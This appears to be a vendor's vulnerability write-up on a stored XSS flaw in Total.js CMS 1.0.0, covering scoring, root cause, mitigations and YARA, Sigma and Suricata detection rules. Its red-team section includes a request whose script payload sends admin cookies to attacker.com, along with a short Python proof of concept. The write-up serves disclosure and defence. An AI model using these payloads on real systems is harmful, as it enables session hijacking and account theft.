CVE-2025-10940
Executive Summary
CVE-2025-10940 is a stored Cross-Site Scripting (XSS) vulnerability in Total.js CMS version 1.0.0. The flaw resides in the layouts_save function within the /admin/ endpoint, specifically in the Layout Page component. An authenticated attacker with administrative privileges can inject arbitrary HTML or JavaScript via the HTML argument, which is then stored and executed in the context of other admin users. The CVSS score is 2.4 (Low) due to the requirement for high privileges and user interaction, but the public availability of a proof-of-concept exploit increases the risk for unpatched instances. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Total.js CMS is a Node.js-based content management system distributed via npm. The vulnerability affects the core CMS package. Organizations using Total.js CMS should verify their version and apply any available workarounds. Since the vendor has not responded, the supply chain risk is elevated; users must rely on manual code review or third-party patches.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is initiated remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – The attacker must have admin access.
- User Interaction (UI): Required (R) – The victim must visit the affected page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): None (N) – No direct file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Low (CVSS 2.4). However, the public exploit and lack of patch elevate the real-world risk for environments where admin accounts are shared or compromised.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the layouts_save function of Total.js CMS. The application fails to sanitize or encode the HTML parameter before storing it in the database. When an admin user views the Layout Page, the unsanitized HTML is rendered, allowing arbitrary script execution.
Attack Flow:
- Attacker authenticates as an admin.
- Navigates to
/admin/and accesses the Layout Page. - Injects malicious JavaScript into the
HTMLfield (e.g.,<script>alert('XSS')</script>). - The payload is stored in the database.
- When another admin (or the same admin) views the Layout Page, the script executes in their browser.
Root Cause: Lack of output encoding and input validation on the HTML parameter.
Vulnerable vs. Patched Code
Vulnerable Code (Total.js CMS 1.0.0):
// layouts_save function (simplified)
function layouts_save(req, res) {
var layout = req.body.html;
// No sanitization or encoding
db.layouts.save(layout);
res.json({ status: 'ok' });
}
Patched Code (Hypothetical):
// Patched version
const sanitizeHtml = require('sanitize-html');
function layouts_save(req, res) {
var layout = sanitizeHtml(req.body.html, {
allowedTags: [],
allowedAttributes: {}
});
db.layouts.save(layout);
res.json({ status: 'ok' });
}
Note: No official patch exists. The above is a recommended fix.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Admin credentials for Total.js CMS 1.0.0.
- Network access to the admin panel.
Exploit Steps:
- Log in as admin.
- Send a POST request to
/admin/with the malicious payload:POST /admin/ HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: session=admin_session html=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - The payload is stored. When any admin views the Layout Page, the script executes.
Proof-of-Concept (PoC) Script:
import requests
target = "http://target.com/admin/"
session = {"session": "admin_session"}
payload = {"html": "<script>alert('XSS')</script>"}
r = requests.post(target, data=payload, cookies=session)
print("Payload sent. Check admin panel.")
Blue Team
Detection:
- Monitor for POST requests to
/admin/with suspicioushtmlparameters containing<script>tags or event handlers. - Look for anomalous outbound connections from admin browsers.
Hunting:
- Search logs for
html=followed by<script,onerror,onload, etc. - Use the YARA rule below to scan stored data.
Mitigation:
- Implement input sanitization on the server side.
- Apply Content Security Policy (CSP) headers to restrict script execution.
- Restrict admin access to trusted IPs.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/admin/withhtmlparameter containing<script>tags. - Outbound connections to unknown domains from admin browsers.
- POST requests to
- File System:
- Database entries in the
layoutscollection containing<script>tags.
- Database entries in the
- Logs:
- Web server logs showing
html=<script>in POST body.
- Web server logs showing
Detection Engineering
YARA Rule
rule TotalJS_CMS_XSS_CVE_2025_10940 {
meta:
description = "Detects stored XSS payloads in Total.js CMS layouts"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-10940"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
condition:
any of ($xss*)
}
Sigma Rule
title: Total.js CMS Stored XSS via Layout Page
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /admin/ with XSS payloads in html parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: /admin/
cs-uri-query|contains: "html="
keywords:
- "<script"
- "onerror="
- "onload="
condition: selection and keywords
falsepositives:
- Legitimate admin use of HTML editing (rare)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10940 Total.js CMS Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/admin/"; http_uri; content:"html="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Layout Page feature if not essential.
- Apply input sanitization using a library like
sanitize-htmlorDOMPurifyon the server side. - Implement Content Security Policy (CSP) headers to block inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; - Restrict admin access to trusted IP addresses and enforce strong authentication.
Long-Term Fix:
- Upgrade to a patched version once available.
- Conduct a full code audit of the admin interface for similar issues.
Workaround:
- Use a Web Application Firewall (WAF) to block requests containing
<script>in thehtmlparameter.
Valters IT
DevSecOps & Cyber Threat Intelligence